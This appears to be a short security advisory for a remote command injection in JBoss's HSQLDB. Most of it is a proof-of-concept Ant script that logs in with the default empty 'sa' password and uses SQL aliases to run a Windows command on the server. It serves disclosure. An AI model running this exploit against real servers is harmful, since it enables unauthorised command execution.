JBoss HSQLDB Remote Command Injection Vulnerability

The researchers who discovered this vulnerability have developed a working exploit that is not publicly available or known to be circulating in the wild.

The following proof of concept is available:
<target name="cmdinject">
<sql
classpath="hsqldb.jar"
driver="org.hsqldb.jdbcDriver"
url="jdbc:hsqldb:hsql://${host}:${port}"
userid="sa"
password=""
print = "true"
>
CREATE ALIAS COMPDEBUG FOR
"org.apache.xml.utils.synthetic.JavaUtils.setDebug"
CREATE ALIAS SETPROP FOR "java.lang.System.setProperty";
CREATE ALIAS COMPILE FOR
"org.apache.xml.utils.synthetic.JavaUtils.JDKcompile";

CALL COMPDEBUG(true);
CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe');
CALL COMPILE('/c REGEDIT.EXE','');
</sql>
</target>
